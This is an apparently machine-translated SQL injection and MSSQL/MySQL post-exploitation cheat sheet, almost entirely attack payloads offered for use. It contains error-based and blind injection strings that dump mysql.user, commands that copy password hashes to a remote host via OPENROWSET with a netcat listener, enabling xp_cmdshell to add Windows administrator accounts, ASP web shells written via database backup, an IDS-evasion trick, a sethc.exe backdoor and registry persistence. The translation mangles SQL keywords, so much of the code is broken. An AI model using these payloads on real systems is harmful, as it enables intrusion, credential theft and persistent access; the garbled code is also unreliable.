Tabellenname aktualisieren Set Field=(Wählen Sie den oberen 1 Namen aus Sysobjects aus, wobei xtype=du und status>0 [ und Name <>

Der Tabellenname, den du bekommst: Finde eins plus eins]) [ wo Bedingung] wähle den oberen 1-Namen aus Sysobjects aus, wobei xtype=you und

Status>0 und Name nicht enthalten(Tabelle1,Tabelle2,...)
Erstellung eines Datenbankadministrator-Kontos und eines Systemadministrator-Kontos _blank> _blank> Schwachstellen-Injektion über SQLSERVER [Das aktuelle Konto muss die SYSADMIN-Gruppe sein]

[Name des Datatable-Feldes erhalten] [Aktualisieren Sie den Feldwert zum Feldnamen und lesen Sie dann den Wert dieses Feldes aus, um den Feldnamen zu erhalten]
Tabellenname aktualisieren Set Feld=(Feldspalte oben 1 auswählen col_blank>_name(object_blank>_id (Name der Datentabelle zum Abfragen), Feldspalte

Zum Beispiel: 1) [ wobei die Bedingung ]

Umgehung der IDS-Erkennung [unter Verwendung von Variablen]
; Deklarieren @a Sysname-Set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a Sysname-Set @a=XP+_blank>_cm'+'dshell exec @a dir c:\

1. Öffnen Sie die entfernte _blank>Datenbank
Grundlegende Syntax
select * aus OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wählen Sie * aus Tabelle1 )
Parameter: (1) OLEDB-Anbietername
2. Der Verbindungsstring-Parameter kann jeder Port sein, der verbunden werden soll, wie zum Beispiel
select * aus OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,

Auswählen * aus der Tabelle
3. Kopiere die gesamte _blank>-Datenbank des Zielhosts und füge alle entfernten Tabellen in die lokale Tabelle ein.

Grundlegende Syntax:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wählen * aus Tabelle1) auswählen

* aus Tabelle 2
Diese Zeilenanweisung kopiert alle Daten aus der table2-Tabelle auf dem Zielhost in die table1-Tabelle in der entfernten _blank>-Datenbank. Geeignete Reparaturen in praktischer Anwendung

Ändere die IP-Adresse und den Port der Verbindungszeichenkette, sodass sie dorthin zeigen, wo du sie brauchst, zum Beispiel:
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* aus Tabelle1) auswählen * aus Tabelle2
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* aus _blank>_sysdatabases)
Wählen Sie * aus master.dbo.sysdatabases
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* aus _blank>_sysobjects)
Wählen Sie * aus user_blank>_database.dbo.sysobjects
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* von _blank>_syscolumns)
Auswählen * aus user_blank>_database.dbo.syscolumns
Replizieren Sie _blank> Datenbank:
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* aus Tabelle1) auswählen * aus der Datenbank.. Tabelle1
Insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,Auswählen

* aus Tabelle2) auswählen * aus der Datenbank.. Tabelle2

Der Hash des Passworts, der das Hash-Tabellen-Login-_blank>-Passwort (HASH) kopiert, wird in sysxlogins gespeichert. So läuft das:
Insert in OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Netzwerk=DBMSSOCN; Adresse=192.168.0.1,1433; ,wähle * aus _blank>_sysxlogins)

Wählen * aus database.dbo.sysxlogins
Sobald du den Hash hast, kannst du ihn mit Brute-Force benutzen.

Um das Verzeichnis zu durchlaufen: Zuerst erstelle eine temporäre Tabelle: temp
; Tabellentemperatur erstellen (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; Insert Temp Executive master.dbo.xp_blank>_availablemedia; – Alle aktuellen Laufwerke abrufen
; Insert in temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Eine Liste der Unterverzeichnisse erhalten
; Fügen Sie in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\ ein; – Holen Sie die Verzeichnisbaumstruktur für alle Unterverzeichnisse,

Füge die Zoll in die Temp-Tabelle ein
; Fügen Sie in temp(id) exec ein master.dbo.xp_blank>_cmdshell tippen Sie c:\web\index.asp; – Eine Datei ansehen

Inhalt
; Fügen Sie in temp(id) exec master.dbo.xp_blank>_cmdshell Direktor C:\ ein; –
; Fügen Sie in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a ein; –
; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; Fügen Sie in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\ ein; – (xp_blank>_dirtree Anwendbare Befugnis

ÖFFENTLICH)
Schreiben Sie an die Tabelle:
Anweisung 1: und 1=(Wählen IS_blank>_SRVROLEMEMBER(Systemadministrator)); –
Aussage 2: und 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
Aussage 3: und 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
Aussage 4: und 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Aussage 5: und 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Aussage 6: und 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); –
Aussage 7: und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Bulkadmin)); –
Aussage 8: und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Bulkadmin)); –
Aussage 9: und 1=(Select IS_blank>_MEMBER(db_blank>_owner)); –

Schreiben Sie den Pfad zur Tabelle:
; Erstellen Sie Tabellenverzeichnisse (Pfade Varchar(100), id int)–
; DIRS EXEC einfügen master.dbo.xp_blank>_dirtree c:\–
und 0<> (wähle die Top-1-Wege aus den Direktoren aus)–
und 0<>(wähle die Top-1-Wege aus Dirs aus, wo Wege nicht in (@Inetpub))–
; Tabellen-Dirs1 erstellen (Pfade Varchar(100), id int)–
; Fügen Sie dirs executive master.dbo.xp_blank>_dirtree e:\web– ein
und 0<> (wähle die Top-1-Wege aus dirs1)–

Sichern Sie _blank> Datenbank in einem Webverzeichnis: Herunterladen
; Deklarieren @a Systemname; setze @a=db_blank>_name(); Backup-Datenbank @a auf disk=e:\web\down.bak; –

und 1=(Wählen Sie oben 1 Namen aus (Wählen Sie oben 12 id, Name aus Sysobjects aus, wobei xtype=char(85)) T

Ordnung nach ID-Beschreibung)
und 1=(Auswählen von Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN,1) aus Sysobjects) Siehe auch

Verwandte Übersichten.
und 1=(wähle user_blank>_id aus USER_blank>_LOGIN)
und 0=(wähle Benutzer aus USER_blank>_LOGIN wo Benutzer>1)

-=- wscrip{filter}t.shell Beispiel -=-
Declare @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
Exec sp_blank>_oamethod @o, Run, NULL, notepad.exe
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,

NULL, notepad.exe–

Declare @o int, @f int, @t int, @ret int
Erklären Sie @line Varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Beginnen
Druck @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
Ende

Declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Declare @o int, @ret int
Exec sp_blank>_oacreate speech.voicetext, @o raus
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Exec sp_blank>_oasetproperty @o, Speed, 150
exec sp_blank>_oamethod @o, speak, NULL, alle eure Sequel-Server gehören uns, 528
Warteauf Verzögerung 00:00:05

; Declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext @o exec out.

sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, sprich, NULL, alle eure Sequel-Server gehören uns, 528 Warte-auf-Verzögerung

00:00:05–

xp_blank>_dirtree die geltende ÖFFENTLICHE Genehmigung
exec master.dbo.xp_blank>_dirtree c: Die zurückgegebenen Informationen haben zwei Felder: Unterverzeichnis, Tiefe. Unterverzeichnisfelder

Charaktertyp, das Tiefenfeld ist das Formgebungsfeld.
Erstelle Tabellen-Direktoren (Pfade Varchar(100), ID Int)
Tabellenbau: Die hier erstellte Tabelle steht im Zusammenhang mit der oben genannten xp_blank>_dirtree, mit gleichen Feldern und demselben Typ.
dirs exec einfügen master.dbo.xp_blank>_dirtree c: Solange wir eine Tabelle erstellen und die vom Speicherprozess zurückgegebenen Felder gleichmäßig definieren

Ausführen! Um den Effekt von Tabellen zu erzielen, Schritt für Schritt, um die gewünschten Informationen zu erreichen!
Diese Fehlerinjektion basiert hauptsächlich auf dem Überlauf von Mysql-Datentypen
    mysql > SELECT 18446744073709551610 * 2 ;
    FEHLER 1690 ( 22003 ): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    FEHLER 1690 ( 22003 ): BIGINT UNSIGNED ist in '(- (1) * außerhalb des Bereichs

9223372036854775808)'
Datenbankversion abfragen:
    mysql> SELECT * 2 (wenn ((SELECT * aus (SELECT (Version ()) ) s), 18446744073709551610,

18446744073709551610));
    FEHLER 1690 (22003): BIGINT UNSIGNED ist außerhalb des Bereichs in '(2 * wenn (( Select ' 5.5 'from

Dual), 18446744073709551610.18446744073709551610))'
Erhalten Sie den Feldnamen:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) als '' limit 1)>(SELECT * from

test.shop Limit 1), 18446744073709551610, 18446744073709551610);

    FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((((select

'Artikel', 'Händler', 'Preis' aus (wählen Sie 'Test'.'Shop'.'Artikel' WIE

'Artikel', 'Test'.'Shop'.'Händler' ALS 'Händler', 'Test'.'Shop'.'Preis' ALS 'Preis' von

'Test'.'Shop') Limit 1) > (Auswahl

'Test'.'Shop'.'Artikel','Test'..'Shop'.'Händler','Test'.'Shop'.'Preis' von 'Test'.'Shop' Limit

1)),18446744073709551610,18446744073709551610))'
Erhalten Sie den Feldwert:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) als '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((((select

'Localhost', 'root', '*', 'Y', Y'

Y', Y', Y', Y', '', 0', 0', 0', 0', 0', '0, Dual Limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Beachten Sie, dass diese Methode mit älteren Mysql-Versionen nicht funktioniert, und Sie müssen die Längenbegrenzung der Fehlermeldung kennen, da dies bestimmen wird

Du kannst so lange bekommen, wie du möchtest:
    mysys / my_error.c

    /* Maximale Länge einer Fehlermeldung. Sollte mit MYSQL_ERRMSG_SIZE synchronisiert bleiben. */
    #define ERRMSGSIZE (512)

Wenn das Objekt MariaDB ist (ein Fork von Mysql), könnten Sie eine Fehlermeldung wie diese sehen, wenn Sie die obige Methode ausprobieren:

    mysql> SELECT 2*(if((SELECT * aus (SELECT (version())))s), 18446744073709551610,

18446744073709551610))
    FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Als Lösung kann dieses Problem folgendermaßen gelöst werden:

    mysql> SELECT (I IST NICHT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    FEHLER 1690 (22003): BIGINT-Wert ist außerhalb des Bereichs in '(('5.5-MariaDB' ist nicht null) - -

(9223372036854775808))'
Mal sehen, ob wir unseren Vektor etwas kürzer machen können

//查询数据库版本

    SELECT 2*(wenn((SELECT * aus (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from (select * from test.shop) als '' limit 1)>(SELECT * from

test.shop Limit 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) als '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT

1) eine Grenze 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Einige weitere Deformationen

    SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a
    select 1E308*if((select user|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT

1) ein Limit 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ein Limit

1),1e308,0);
    MySQL> select (select * from mysql.user)=1;
    MySQL> Select (select * from mysql.user)in(1);

    FEHLER 1241 (21000): Das Operand sollte 42 Spalten enthalten.
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ein Limit

1),1e308,0);
    Auswählen wenn((Benutzer auswählen|| host|| Passwort|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i IST NICHT NULL) - -9223372036854775808 AUS (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    FEHLER 1690 (22003): BIGINT UNSIGNED Wert ist außerhalb des Bereichs in '((not('root@localhost')) - ~

(0))'
3. Das Datenbanksystem bewerten
; und (select count(*) from sysobjects)>0 mssql
; und (select count(*) from msysobjects)>0 access
4. Der Einspritzparameter ist ein Zeichen
'und [Abfragekriterien] und ''='
5. Während der Suche gibt es keine gefilterten Parameter
'und [Abfragekriterien] und '%25'='
6. Rate die Datenbank
; und (wähle Count(*) aus [Datenbankname])>0
7. Errate das Feld
; und (wähle Count(Feldname) aus dem Datenbanknamen)>0
8. Rate die Länge des Rekords im Feld
; und (wähle oben 1 LEN (Feldname) aus dem Datenbanknamen>0
9. (1) Den ASCII-Wert des Feldes erraten (Zugriff)
; und (wähle Top 1 ASC(Mid(Feldname, 1,1)) aus Datenbanknamen aus)>0
(2) Den ASCII-Wert des Feldes erraten (mssql)
; und (wähle oben 1 Unicode(Substring(Feldname, 1,1)) aus Datenbanknamen)>0
10. Testberechtigungsstruktur (mssql)
; und 1=(wählen IS_SRVROLEMEMBER('sysadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('serveradmin')); --
; und 1=(wähle IS_SRVROLEMEMBER('setupadmin')); --
; und 1=(wähle IS_SRVROLEMEMBER('securityadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('diskadmin')); --
; und 1=(auswählen IS_SRVROLEMEMBER('bulkadmin')); --
; und 1=(wähle IS_MEMBER('db_owner')); --
11. Ein Konto für mssql und das System hinzufügen
; exec master.dbo.sp_addlogin Benutzername; --
; exec master.dbo.sp_password null, username, password; --
; Exec master.dbo.sp_addsrvrolemember Sysadmin-Benutzername; --
; exec master.dbo.xp_cmdshell 'Net-Benutzer-Benutzername Passwort /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'Netzbenutzer-Benutzername Passwort /Hinzufügen'; --
; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Benutzername /add'; --
12. (1) Durchforsten des Katalogs
; Erstelle Tabellen-Direktoren (Pfade Varchar(100), ID Int)
; Fügen Sie dirs Exec master.dbo.xp_dirtree 'c:\' ein
; und (wähle die Top-1-Wege aus den Dirs>0 aus)0
; und (wähle die Top-1-Pfade aus Dirs aus, bei denen Pfade, die nicht in sind ('Pfade, die aus dem vorherigen Schritt erhalten wurden'))>)
(2) Durchforsten des Katalogs
; Tabellentemperatur erstellen (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Temporäre Führungskraft master.dbo.xp_availablemedia; -- Hol alle aktuellen Laufwerke
; Fügen Sie in temp(id) exec master.dbo.xp_subdirs 'c:\' ein; -- Eine Liste der Unterverzeichnisse erstellen
; in temp(id,num1) exec master.dbo.xp_dirtree 'c:\' einfügen; -- Erhalten Sie die Verzeichnisbaumstruktur für alle Unterverzeichnisse
; Fügen Sie in temp(id) exec master.dbo.xp_cmdshell 'tippen Sie C:\Web\index.asp' ein; -- Den Inhalt der Datei anzeigen
13. Gespeicherte Prozeduren in mssql
xp_regenumvalues Register-Root-Key, Kinderschlüssel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' und mehr

Recordset-Methode zur Rückgabe aller Schlüsselwerte
xp_regread Wurzelschlüssel, Kinderschlüssel, Schlüssel-Wert-Name
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' liefert den Wert des Formulierungsschlüssels zurück
xp_regwrite Wurzelschlüssel, Kinderschlüssel, Wertname, Werttyp, Wert
Es gibt zwei Arten von Werttypen REG_SZ REG_DWORD für Zeichentypen und für ganze Zahlen
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sind in das Register geschrieben
xp_regdeletevalue Wurzelschlüssel, Unterschlüssel, Wertname
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', um einen Wert zu entfernen
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' Löschtaste,

Fügen Sie alle Werte unter diesem Schlüssel hinzu
14. MSSQL-Backup erstellt eine Webshell
Nutzungsmodell
Tabellen-CMD erstellen (STR-Bild);
in cmd(str)-Werte einfügen ('<% Dim oscrip{filter}t %>');
Backup-Datenbankmodell auf Festplatte='c:\l.asp';
15. MSSQL integrierte Funktionen
; und (wählen Sie @@version)>0, um die Windows-Versionsnummer zu erhalten
; und user_name()='dbo', um zu bestimmen, ob der angeschlossene Nutzer des aktuellen Systems SA ist
; und (wähle user_name())>0 Explodierten die verbundenen Nutzer des aktuellen Systems
; und (wählen Sie db_name())>0, um die aktuell verbundene Datenbank zu erhalten
16. Knappe Webshell
Nutzungsmodell
Tabellen-CMD erstellen (STR-Bild);
In cmd(STR)-Werte einfügen ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Backup-Datenbankmodell auf Festplatte='g:\wwwtest\l.asp';
Beim Anfragen verwenden Sie etwas wie Folgendes:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Erhalten Sie alle Datenbanknamen, einschließlich Systemdatenbanken,
–NAME auswählen AUS master.dbo.sysdatabases

Beziehen Sie alle nicht-systembezogenen Datenbanknamen
–wählen Sie [Name] aus master.dbo.sysdatabases, wo DBId>6 nach [Name] sortiert

Erhalten Sie alle Informationen, einschließlich der Datenbankdateiadresse
–wählen * aus master.dbo.sysdatabases, wo DBId>6 Sortieren nach

[Name]



Diese Anweisungsanfrage liefert alle Benutzertabellen zurück

Wähle * aus Sysobjects aus, wobei xtype='u'


Abfrage aller Datentabelleninformationen im System

Wähle * aus Sysobjects aus



Schau dir den Namen der Maschine an
Wählen Sie * aus sys.servers





Inhaltsverzeichnis der Spalte
Exec master.dbo.xp_subdirs 'C:\'


Exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Berechtigungen können durchgesetzt werden


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programmcode, in Webshell geschrieben


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Exec sp_makewebtask 'D:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Hinrichten Meister.. xp_enumgroups  


Nutzer des Traverse-Systems


Hinrichten Meister.. xp_getnetname
Erhalten Sie den aktuellen Maschinennamen


--Listen Sie die festen Laufwerke auf dem Server auf, zusammen mit dem verfügbaren Speicherplatz für jedes Laufwerk
   DBO Public


Ausführen

xp_ntsec_enumdomains


--
Erstelle ein Konto, um dich bei MSSQL anzumelden
Exec master.dbo.sp_addlogin Name, Pass; --






--
Listen Sie den Server-Domainnamen auf
xp_ntsec_enumdomains //
Maschinenname //dbo öffentlich


--
Einen Service stoppen oder starten
xp_servicecontrol 'stopp', 'schedule' //schedule ist der Servicename //dbo


--Verwenden Sie PID

Ein ausführendes Programm stoppen
xp_terminate_process 123 //123 ist das PID //dbo


--
Nur Unterverzeichnisse in einem Verzeichnis sind aufgeführt
dbo.xp_subdirs 'C:' //dbo


SQL Server
Die Methode zur Eröffnung der xp_cmdshell im Jahr 2005
EXEC sp_configure 'erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; EXEC

sp_configure 'xp_cmdshell', 1; UMKONFIGURIEREN;

SQL2005 Öffne 'OPENROWSET'
Unterstützte Methoden:
Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exec sp_configure 'Ad Hoc

Verteilte Anfragen',1; UMKONFIGURIEREN;

SQL2005, um die Unterstützung von 'sp_oacreate' zu aktivieren:
Exec sp_configure 'Erweiterte Optionen anzeigen', 1; UMKONFIGURIEREN; Exekutiv

sp_configure 'Ole Automation Procedures',1; UMKONFIGURIEREN





Wie man xp_cmdshell in SQL Server 2008 aktiviert


-- Um erweiterte Optionen ändern zu können.
EXEC

sp_configure 'erweiterte Optionen anzeigen', 1
LOS
-- Um den aktuell konfigurierten Wert zu aktualisieren für

Erweiterte Optionen.
UMKONFIGURIEREN
LOS
-- Um die Funktion zu aktivieren.
EXEC sp_configure 'xp_cmdshell', 1
LOS
--An

Aktualisieren Sie den aktuell konfigurierten Wert für diese Funktion.
UMKONFIGURIEREN
LOS


exec xp_cmdshell 'ipconfig'



Heute wollte ich das SA-Login-Passwort des Datenbankservers ändern, habe es aber plötzlich vergessen, also musste ich mit Hilfe anderer Konten den Abfrage-Analyzer öffnen, um das SA-Passwort zu ändern

Es ist sehr einfach:


Hinrichtung:
sp_password Null,'teracypwd,'sa'
Setze das SA-Passwort auf "teracypwd"


Nach erfolgreicher Hinrichtung

Es gibt "Befehle(n) erfolgreich abgeschlossen."  OKAY!








In der Datenbankberechtigung wird die Methode zur Erlangung der MSSQL-Datenbankserver-IP getrennt


1. Lokaler NC hört NC - VVLP 80


2.; Einfügen in

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netzwerk=DBMSSOCN; Adresse=Ihre IP, 80; ', 'wähle * aus

dest_table') wählen * aus src_table; --


Wähle * aus OpenRowset aus

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','Benutzer auswählen; ')





Datenbankimport und -export

/*不同服务器数据库之间的数据操作*/

--Verknüpfungsserver erstellen
Exec sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Remote Server Name oder IP-Adresse'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'Benutzername', 'Passwort'

--Abfragebeispiel
wähle * aus ITSV.database name.dbo.table name

--import-Beispiel
Auswählen *

in die Tabelle von ITSV.databasename.dbo.tablename

--Lösche den verknüpften Server, falls er in Zukunft nicht mehr genutzt wird
Geschäftsführer sp_dropserver 'ITSV',

'Droplogins'

--
Verbindung zu entfernten/LAN-Daten (openrowset/openquery/opendatasource)
--1、Offen Rowset

--Abfragebeispiel
Auswählen *

von openrowset( 'SQLOLEDB ', 'sql server name '; 'Benutzername'; 'Passwort', Datenbankname.dbo.table name)

--
Generiere eine lokale Tabelle
wählen Sie * in die Tabelle aus openrowset( 'SQLOLEDB ', 'SQL Server Name '; 'Benutzername'; 'Passwort', Nummer

Laut dem Datenbankname.dbo. Tabellenname)

--
Importiere die lokale Tabelle in die entfernte Tabelle
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Benutzername'; 'Passwörter', Datenbanken

name.dbo.table name)
*aus der lokalen Tabelle auswählen

--
Aktualisieren Sie lokale Tabellen
Update B
Setze b. Spalte A = a
von openrowset( 'SQLOLEDB ', 'sql server name '; 'Benutzername'; '

Passwort ', Datenbankname .dbo.table name) als Inner Join lokale Tabelle B
auf a.column1=b.column1

--openquery
Die Nutzung erfordert das Herstellen einer Verbindung

--Zuerst eine Verbindung herstellen, um einen Linkserver zu erstellen
Geschäftsführer sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'entfernter Servername oder IP-Adresse'
--Nachfragen
Auswählen *
FROM openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Importiere die lokale Tabelle in die entfernte Tabelle
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Wählen Sie * aus lokal

Tabelle
--lokale Tabelle aktualisieren
Update B
Menge b. Spalte B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

als ein  
innere Naht lokale Tabelle b auf A an. Spalte A=b. Spalte A

--3、opendatasource/openrowset
AUSWÄHLEN *
VON   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Benutzer-ID = Login-Name; Passwort=Passwort '

).test.dbo.roy_ta
--
Importiere die lokale Tabelle in die entfernte Tabelle



Löschung und Wiederherstellung von xp_cmdshell


Wege zur Wiederherstellung xp_cmdshell   
Löschen Sie die erweiterte gespeicherte Prozedur xp_cmdshell

Aussage   
Exec sp_dropextendedproc 'xp_cmdshell'   



Wiederherstellen Sie die SQL-Anweisung von cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Exekutiv

master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Anzahl auswählen(*) aus

master.dbo.sysobjects wobei xtype='x' und   
Das Rückgabeergebnis ist 1 und es ist in Ordnung   


Ansonsten musst du c:\inetput\web hochladen

\xplog70.dll später   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Wenn du es auf folgende Weise löschst.   
Drop-Verfahren sp_addextendedproc   
Abwurfverfahren sp_oacreate   
Exekutiv

sp_dropextendedproc 'xp_cmdshell'   



Sie können es mit folgender Aussage wiederherstellen   
dbcc addendedproc ("sp_oacreate", "odsole70.dll")   
DBCC

addendedproc ("xp_cmdshell", "xplog70.dll")   

Auf diese Weise kann es direkt wiederhergestellt werden, unabhängig davon, ob sp_addextendedproc existiert oder nicht






1、
Verwenden Sie xp_cmdshell:
          Exec master.dbo.xp_cmdshell "Net User admin admin /add"
          Exekutiv

master.dbo.xp_cmdshell "Net Localgroup Administrators Admin /add"

In xp_cmdshell Fall verwenden Sie sp_oacreate, um sp_oamethod zu folgen:
          Erklären Sie @object Int   
          Exekutiv

sp_oacreate 'wscrip{filter}t.Shell', @object raus         
          Exec sp_oamethod

@object,'Run', NULL,'Net User admin admin /add'
          exec sp_oamethod @object, 'Run', NULL, 'net

localgroup Administratoren admin /add'

Hinweis: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Nutze sp_oacreate und FSO
          Declare @o int
          Exec sp_oacreate

'scrip{filter}ting.filesystemobject', @o raus
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Erklären Sie @oo Int
          Exekutiv

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo raus
          Geschäftsführer sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Verwenden Sie xp_regwrite (db_owner, Neustart erforderlich):
          Exec master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run', 'eadd1', 'reg_sz','netuser admin admin /add'
          Exec master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Verwenden Sie sp_add_job:
          Exekutiv

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Nutze MSDB Exec sp_delete_job

null, 'x'
          Exec sp_add_job 'X'
          Exec sp_add_jobstep

